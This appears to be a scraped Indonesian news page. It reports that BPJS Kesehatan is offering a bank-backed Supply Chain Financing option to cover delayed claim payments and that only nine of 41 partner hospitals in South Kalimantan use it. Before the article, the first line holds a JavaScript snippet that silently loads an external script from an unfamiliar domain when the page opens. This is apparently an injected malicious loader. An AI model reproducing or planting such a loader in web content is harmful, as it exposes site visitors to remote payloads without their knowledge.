(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

BPJS Kesehatan Tawarkan SCF, Baru 9 Rumah Sakit di Kalsel Bekerjasama


BANJARMASIN, Defisit anggaran yang dialami BPJS Kesehatan, sehingga menawarkan program Supply Chain Financial (SCF) kepada rumah sakit yang melibatkan pihak ketiga yaitu perbankan. Hal ini tertuang dalam Surat Edaran Kemenkes Nomor HK.02.01/Menkes/286/2019.

Program SCF sendiri, bertujuan membantu cash flow rumah sakit tidak terganggu akibat tunggakan dari BPJS Kesehatan. Kendati demikian, dari 41 rumah sakit di Kalsel yang bekerjasama dengan BPJS Kesehatan Cabang Banjarmasin, baru 9 rumah sakit yang menggunakan program SCF yang ditawarkan BPJS Kesehatan.

Sembilan rumah sakit itu antara lain, 1 rumah sakit pemerintah yaitu RSD Idaman Banjarbaru dan 8 rumah sakit swasta yaitu RS Islam Banjarmasin, RS Sari Mulia Banjarmasin, RS Aveciena Medika Martapura, RS Danau Salak, RS Ainun Pelaihari, RS Mawar Banjarbaru, RS Marina Permata Batulicin, dan RS Paradise Batulicin.

Kepala Cabang BPJS Kesehatan Banjarmasin Tutus Novita Dewi menekankan, program SCF hanyalah sebatas opsional.

“Apabila rumsah sakit kesulitan cashflow saat keterlambatan pembayaran. Ini pilihan ya, apabila merasa kesulitan,” kata Tutus usai media gathering di salah satu rumah makan ternama di kawasan Achmad Yani Banjarmasin, Selasa (15/10) petang.

Program SCF sendiri, diberikan kepada rumah sakit dengan jumlah nominal yang berbeda. “RS hanya bisa mengajukan program SCF maksimal sebesar piutang BPJS Kesehatan, tidak boleh lebih,” katanya. Karena, menurut Tutus, yang dijaminkan melalui program SCF adalah piutang BPJS Kesehatan kepada pihak rumah sakit. 

“Karena (program SCF) pilihan, jadi tergantung manajemen rumah sakit,” tegasnya. “Jadi tugas kami saat ini yaitu menyampaikan terkait SCF sebagai opsi kepada semua rumah sakit,” tambahnya.

Ketika ditanya mengapa hanya ada satu RS pemerintah yang memanfaatkan program SCF, Tutus berdalih bahwa sebagian RS mengklaim cashflow masih mencukupi. 

“Jadi prinsipnya kalau rumah sakit merasa cash flow-nya masih mencukupi, maka tidak ada kewajiban bagi mereka untuk mengambil SCF karena ini opsi, tergantung kondisi rumah sakit,” pungkasnya. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.